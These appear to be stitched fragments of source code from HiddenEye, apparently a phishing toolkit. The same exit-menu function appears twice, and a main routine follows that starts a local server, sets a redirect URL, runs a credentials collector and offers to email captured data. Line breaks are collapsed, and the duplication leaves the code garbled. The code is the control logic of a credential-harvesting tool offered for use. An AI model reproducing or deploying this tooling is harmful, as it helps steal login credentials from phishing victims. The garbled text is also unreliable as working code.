def exit_message(port=80): # Message when HiddenEye exit choice = input(localization.lang_exit_message["choice"]) choice.lower() if choice == 'r': run_command(['sudo', 'python3', 'HiddenEye.py']) elif choice == 'm': email_prompt.captured_data_email_confirmation(port) elif choice == 's': server_runner.server_selection(port) elif choice == 'x': run_command('clear') print(global_localization.hidden_eye_logo) print(' ' + global_localization.by_darksec) print(' ' + global_localization.official_website_link) print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["tell_if_page_got_broken"]) print( localization.lang_exit_message["make_your_pull_request_or_issue"]) print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["thank_you"]) else: run_command('clear') return exit_message(port)
def exit_message(port=80): # Message when HiddenEye exit """Displays preconfigured message when HiddenEye execution ends or user tries to leave app. Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides to restart app again. Defaults to 80. Returns: method: If no option is selected, exit message returns to self and gets shown again. """ choice = input(localization.lang_exit_message["choice"]) choice.lower() if choice == "r": run_command(["sudo", "python3", "HiddenEye.py"]) elif choice == "m": email_prompt.captured_data_email_confirmation(port) elif choice == "s": server_runner.server_selection(port) elif choice == "x": run_command("clear") print(global_localization.hidden_eye_logo) print(" " + global_localization.by_darksec) print(" " + global_localization.official_website_link) print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["tell_if_page_got_broken"]) print( localization.lang_exit_message["make_your_pull_request_or_issue"]) print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["thank_you"]) else: run_command("clear") return exit_message(port)
# simple_informant.check_permissions() # verCheck() # For now it's useless, i'll rewrite it later, after release. ########### simple_informant.check_php() # FIXME we have to replace PHP with Python # checkLocalxpose() ConnectionController().verify_connection() # checkOpenport() # checkPagekite() # checkLT() if __name__ == "__main__": try: main_runner.start_main_menu() prompt.feature_prompt() main_runner.enter_custom_redirecting_url() port = simple_informant.port_selector() ############## server_runner.start_server(port) server_runner.server_selection(port) multiprocessing.Process(target=server_runner.start_server, args=(port, )).start() simple_informant.credentials_collector() except KeyboardInterrupt: # When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors) port = "8080" simple_informant.exit_message(port) exit()